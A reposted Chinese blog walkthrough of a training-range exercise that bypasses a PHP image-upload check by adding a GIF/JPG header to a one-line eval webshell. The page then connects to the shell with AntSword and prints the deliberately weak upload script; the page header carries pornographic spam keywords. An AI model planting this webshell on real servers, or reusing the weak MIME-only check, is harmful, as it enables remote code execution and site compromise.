日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

php一句话图片马上传绕过

發布時間:2023/12/13 综合教程 22 生活家
生活随笔 收集整理的這篇文章主要介紹了 php一句话图片马上传绕过 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

主頁

burpsuite截獲,修改后綴為php,末尾加上一句話馬(內容開頭一定要是圖片文件標志頭),上傳成功并返回路徑

<?php @eval($_POST['c']);?>

其他測試:

1、刪掉部分圖片內容時(圖片文件頭不對),無法上傳

2、可以修改圖片文件頭為gif文件的標志頭:GIF87a或者GIF89a,都可以成功上傳

3、冰蝎不支持,不知道為什么,是不是不支持圖片馬?

前面的圖片馬可打開瀏覽,但無法連接jpg格式馬

使用蟻劍連接,密碼就是c,測試連接成功

找源代碼文件

順便看看上傳模塊源碼

<?php
//文件上傳漏洞演示腳本之內容驗證
header("Content-type: text/html; charset=utf-8"); 
error_reporting(0);
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
    if (file_exists($uploaddir)) {
        //print_r($_FILES);
        $file_name = $_FILES['upfile']['tmp_name'];
        //print_r(getimagesize($file_name));
        $allow_ext = array('image/png', 'image/gif', 'image/jpeg', 'image/bmp');
        $img_arr = getimagesize($file_name);
        //print_r($img_arr);
        $file_ext = $img_arr['mime'];
        if (in_array($file_ext, $allow_ext)) {
            if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
                echo '文件上傳成功,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "
";
            }
        } else {
            echo '此文件不允許上傳' . "
";
        }
    } else {
        exit($uploaddir . '文件夾不存在,請手工創建!');
    }
    //print_r($_FILES);
}
?>

從源碼上分析看,如果上傳文件的mime類型file_ext在allow_ext(

'image/png', 'image/gif', 'image/jpeg', 'image/bmp'

)中,就移動上傳文件到/uploads/文件夾下

參考:

WebShell文件上傳漏洞分析溯源(第3題)_文件上傳_在線靶場_墨者學院_專注于網絡安全人才培養

奶奶問孫子:4+1等于幾?孫子說:等于6-1。?奶奶說:你明明知道答案,為什么不說??孫子說:年輕人不講5的……..

總結

以上是生活随笔為你收集整理的php一句话图片马上传绕过的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。